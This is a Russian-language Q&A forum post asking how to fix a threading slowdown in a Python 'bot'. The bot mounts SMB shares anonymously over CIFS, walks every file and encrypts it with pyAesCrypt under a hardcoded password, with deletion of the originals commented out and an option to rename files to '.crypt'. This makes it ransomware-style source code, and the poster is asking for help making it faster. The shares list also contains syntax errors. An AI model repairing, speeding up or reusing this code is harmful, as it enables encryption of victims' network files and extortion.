Блокирующие и не блокирующие операции при работе с потоками в python?

Question

NickPobeda @NickPobeda

Блокирующие и не блокирующие операции при работе с потоками в python?

Данный бот при использовании функции encrypt() в много поточном режиме просто зависает на первом сервере. Работает медленее чем в ододнопоточном режиме... при просмотре 'htop' в момент работы показывает что одно ядро постоянно загружено на 100%, при использовании функции frename() все работает отлично, как исправить данный баг при этом продолжая использовать потоки?

#!/usr/bin/env python3
import threading, copy, subprocess, pyAesCrypt, os
from threading import Thread


def encrypt(url, thread_num,  flag):
    try:
        print('Full url: ', url)
        bufferSize = 64 * 1024
        file_name = url.split('/')[-1]

        print('Thread: ', thread_num, ' File: ',url)

        if flag:
            pyAesCrypt.encryptFile(url, url+'.aes', '12345678', bufferSize)

        elif 'int' in str(type(flag)):
           decrypted = url.replace('.aes', '')
           pyAesCrypt.decryptFile(url, decrypted, '12345678', bufferSize)

        #os.remove(url)
        return True

    except Exception as e:
        print('encrypt(): '+str(e))
        return False


def frename(url, thread_num, flag):
    try:
        file_name = url.split('/')[-1]

        print('File: ', url, 'Thread: ', thread_num)
        os.rename(url, url+".crypt")

        return True

    except Exception as e:
        print('encrypt(): '+str(e))
        return False


def walk(share, thread_num, crypt_decrypt):
    print("Debug: ", share)

    for root, dirs, files in os.walk(share):
        path = root.split(os.sep)
        #print((len(path) - 1) * '---', os.path.basename(root))
        for file in files:
            #print(len(path) * '---', file)
            print("Full path: ", root+"/"+file)
            encrypt(root+"/"+file, thread_num, crypt_decrypt)
            #frename(root+"/"+file, thread_num, crypt_decrypt)


def mount(share, mount_dir):

    if os.path.exists(mount_dir) is False:
        os.mkdir(mount_dir)

    cmd = "mount -t cifs "+share+" ./"+mount_dir+" -o vers=1.0,user=anonymous,password=anonymous"
    subprocess.call(cmd, shell=True)



def main():

    max_threads=2
    list_threads=[]
    shares=['//127.0.0.1/share1/','//127.0.0.1/share2/'', '//127.0.0.1/share3/'']

    #Создаю копию списка из которого буду удалять добавленные элементы
    shares_copy = copy.deepcopy(shares)

    #Пока есть более чем один активный поток ИЛИ наши списки ЕЩЕ равны при первом запуске
    while threading.activeCount() >= 1 or len(shares_copy) == len(shares):

        #print('basic', len(list_threads) )

        for share in shares:
            #Проверяю количество потоков
            #print('for', len(list_threads), max_threads)

            if len(list_threads) < max_threads:
                #print('Create thread for: ', share)
                mount_dir = './'+share.split('/')[3]
                mount(share, mount_dir)

                thread = Thread(target=walk, args=(mount_dir, str(len(list_threads)), 1))
                thread.start()

                #Удаляю из копии уже добавленную в поток шару
                shares_copy.remove(share)
                list_threads.append(thread)


        #Цикл для проверки статуса каждого потока
        for d in list_threads:
            #print('Checking: ', d)
            #Если поток отработал то удалить из списка
            if d.is_alive() is False:
                print('Remove thread: ', d)
                list_threads.remove(d)

        #Перезаписываем наш список исключая уже шифрованные шары
        shares = shares_copy


        #Выход как только удалили последний отработавший поток И болше нет шар
        if len(list_threads) == 0 and len(shares) == 0:
            break

    #Закрываю перед выходом все потоки
    for thread in list_threads:
        thread.join()


if __name__ == "__main__":
    main()